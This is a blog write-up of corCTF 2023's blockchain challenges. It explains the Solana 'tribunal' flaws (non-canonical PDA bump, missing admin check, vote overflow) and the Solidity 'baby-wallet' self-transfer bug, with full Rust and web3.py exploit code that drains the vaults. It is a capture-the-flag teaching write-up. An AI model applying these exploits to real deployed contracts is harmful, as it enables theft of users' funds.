<-->

 

One Solidity challenge and one Solana challenge were included in corCTF 2023, totalling two blockchian challenges.

 

tribunal

Analysis

When I analyze the Solana chall, I first check if it uses Anchor.

 

As this challenge does not include Anchor framework, we could refer to the following example and write a code.

 

- https://github.com/barsa2000/sekai2022_gft/blob/main/solve/src/entrypoint.rs

and writeups in my blog.

https://hodl.page/entry/angstromctf-2023-Sailors-Revenge#toc2

https://hodl.page/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor#toc10

 

 

According to server's logic

 

1. admin creates config and vault

2. make five proposals

3. deposit 99sol into the vault by vote

4. execute user's ix 

5. if a user has more than 90sol, success

 

 

Root Cause

 

During the ctf, I thought there were three vulnerabilities in the problem.

 

1. In the finding the PDA, it uses a bump that users input, not canonical bump.

2. In withdraw, it does not check if vault's admin is equal to config's admin.

3. After withdraw, it does not decrease the config's balance.

 

 

Solve

https://github.com/kangsangsoo/CTF-Writeups/tree/main/tribunal

 

 

1. initialize a fake config and a fake vault

2. deposit the fund as much as possible into the fake vault using vote.

3. withdraw the fund as much as the fake config has from the real vault that has 99sol.

4. Repeat 2~3 until I secure more than 90sol.

 

 

My first solution was that I set the loop count of for statements(2~3) to 30 without considering memory.

But memory limit error occured.

 

More precisely, I rewrote the code to minimize the number of for loop.

entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {
        let account_iter = &mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let config_addr = next_account_info(account_iter)?;
        let vault_addr = next_account_info(account_iter)?;
        let fake_config_addr = next_account_info(account_iter)?;;
        let fake_vault_addr = next_account_info(account_iter)?;
        let p4_addr = next_account_info(account_iter)?;
        let my_pg = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;

        let (_fake_config_addr, fake_config_bump) = find_my_program_address(&["CONFIG".as_bytes()], &program.key).unwrap();
        let (_fake_vault_addr, fake_vault_bump) = find_my_program_address(&["VAULT".as_bytes()], &program.key).unwrap();
        let (_p4_addr, _) = Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &4_u8.to_be_bytes()], &program.key);

  

        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &TribunalInstruction::Initialize  {
                config_bump: fake_config_bump, 
                vault_bump: fake_vault_bump,
            },
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(fake_vault_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&fisrt, 
            &[
                user.clone(),
                fake_config_addr.clone(),
                fake_vault_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);





        let mut amt = 800_000_000;
        let mut sum = 0;
        let mut balance_of_vault = 98_000_000_000;
        let mut balance_of_fake_vault = 0;


        for i in 0..=7_u8 {
            if i == 7 {
                let fisrt = Instruction::new_with_borsh(
                    program.key.clone(),
                    &TribunalInstruction::Withdraw { amount: 43_000_000_000  },
                    vec![
                        AccountMeta::new(user.key.clone(), true),
                        AccountMeta::new(fake_config_addr.key.clone(), false),
                        AccountMeta::new(fake_vault_addr.key.clone(), false),
                        AccountMeta::new_readonly(program.key.clone(), false),
                        AccountMeta::new_readonly(sp.key.clone(), false),
                    ],
                );
            
                invoke(&fisrt, 
                    &[
                        user.clone(),
                        fake_vault_addr.clone(),
                        fake_config_addr.clone(),
                        sp.clone(),
                        my_pg.clone(),
                        program.clone(),
                ]);
                break
            }

            balance_of_fake_vault += amt;

            let fisrt = Instruction::new_with_borsh(
                program.key.clone(),
                &TribunalInstruction::Vote { proposal_id: 4, amount: amt },
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(fake_config_addr.key.clone(), false),
                    AccountMeta::new(fake_vault_addr.key.clone(), false),
                    AccountMeta::new(p4_addr.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(sp.key.clone(), false),
                ],
            );

            invoke(&fisrt, 
                &[
                    user.clone(),
                    fake_vault_addr.clone(),
                    fake_config_addr.clone(),
                    p4_addr.clone(),
                    sp.clone(),
                    my_pg.clone(),
                    program.clone(),
            ]);




            let target = std::cmp::min(balance_of_fake_vault-100000, balance_of_vault);
            balance_of_vault -= target;
            sum += target;

            let fisrt = Instruction::new_with_borsh(
                program.key.clone(),
                &TribunalInstruction::Withdraw { amount: target},
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(fake_config_addr.key.clone(), false),
                    AccountMeta::new(vault_addr.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(sp.key.clone(), false),
                ],
            );

            invoke(&fisrt, 
                &[
                    user.clone(),
                    vault_addr.clone(),
                    fake_config_addr.clone(),
                    sp.clone(),
                    my_pg.clone(),
                    program.clone(),
            ]);

       
            amt = target;
        }


        Ok(())        
    }

 

 

Feedback

I missed the overflow in vote, author's intention.

https://github.com/kangsangsoo/CTF-Writeups/blob/381ffd076c5264382b96f218a9513aed959aa393/tribunal/program/src/processor.rs#L316C5-L316C118

 

shorter and easier

 

1. initialize a fake config.

2. deposit 0.000000001sol into the vault using vote, causing the overflow in the fake config.

3. withdraw 90sol from the real vault that has 99sol.

 

entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &Pubkey,
        accounts: &[AccountInfo],
        instruction_data: &[u8],
    ) -> ProgramResult {
        let account_iter = &mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let config_addr = next_account_info(account_iter)?;
        let vault_addr = next_account_info(account_iter)?;
        let fake_config_addr = next_account_info(account_iter)?;;
        let fake_vault_addr = next_account_info(account_iter)?;
        let p4_addr = next_account_info(account_iter)?;
        let my_pg = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;

        let (_fake_config_addr, fake_config_bump) = find_my_program_address(&["CONFIG".as_bytes()], &program.key).unwrap();
        let (_fake_vault_addr, fake_vault_bump) = find_my_program_address(&["VAULT".as_bytes()], &program.key).unwrap();
        let (_p4_addr, _) = Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &4_u8.to_be_bytes()], &program.key);

  

        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &TribunalInstruction::Initialize  {
                config_bump: fake_config_bump, 
                vault_bump: fake_vault_bump,
            },
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(fake_vault_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&fisrt, 
            &[
                user.clone(),
                fake_config_addr.clone(),
                fake_vault_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);


        
        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &TribunalInstruction::Vote { proposal_id: 4, amount: 1 },
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(fake_vault_addr.key.clone(), false),
                AccountMeta::new(p4_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&fisrt, 
            &[
                user.clone(),
                fake_vault_addr.clone(),
                fake_config_addr.clone(),
                p4_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);


        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &TribunalInstruction::Withdraw { amount: 90_000_000_000},
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(vault_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&fisrt, 
            &[
                user.clone(),
                vault_addr.clone(),
                fake_config_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);



        Ok(())        
    }

 

baby-wallet

Root Cause

BabyWallet::transferFrom does not check if from is equal to to.

If from and to are the same, the balance is increased by amt because the increase of to's balance follows the decrease of from's balance.

    function transferFrom(address from, address to, uint256 amt) public { 
        uint256 allowedAmt = allowances[from][msg.sender];
        uint256 fromBalance = balances[from];
        uint256 toBalance = balances[to];

        require(fromBalance >= amt, "You can't transfer that much");
        require(allowedAmt >= amt, "You don't have approval for that amount");

        balances[from] = fromBalance - amt;
        balances[to] = toBalance + amt;
        allowances[from][msg.sender] = allowedAmt - amt;
    }

 

Solve

In order to get a flag, we must steal the 100ether in BabyWallet.

 

  1. Deposit 100ether.
  2. Increase allowances[my][my] by 100ether.
  3. Execute transferFrom(my, my, 100ether).
  4. Withdraw 200ether.
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("https://baby-wallet.be.ax/1ac67d77-6984-456f-932a-77ce079bcaf0"))

#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0xd163bd21d98ba16997ac5e4248f4d576798c2eaad59fdc2b23005de91bd86d30'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0xe18440794A816142E5081b3A2CcED5835d53ef18
myAddr = Public_Address
cont = "0xB74539Aa48Ff22f539851bFf1cCf14BF5A9A7356" # deployed contract's address


def deposit():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["deposit"]().build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 100 * 10 ** 18,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def approve():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["approve"](myAddr, 100 * 10 ** 18).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


def transferFrom():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["transferFrom"](myAddr, myAddr, 100 * 10 ** 18).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def withdraw():
    f = open('baby.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions["withdraw"](200 * 10 ** 18).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "value": 0,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

deposit()
approve()
transferFrom()
withdraw()

'writeups' 카테고리의 다른 글

SekaiCTF 2023 - Blockchain(The Bidding, Play for Free, Re-Remix)  (0) 2023.08.28
flashbot mev-share ctf  (0) 2023.08.08
angstromctf 2023 - pwn(Sailor's Revenge)  (0) 2023.04.27
NumemCTF 2023  (0) 2023.04.01
DaVinciCTF 2023 - blockchain  (0) 2023.03.13

+ Recent posts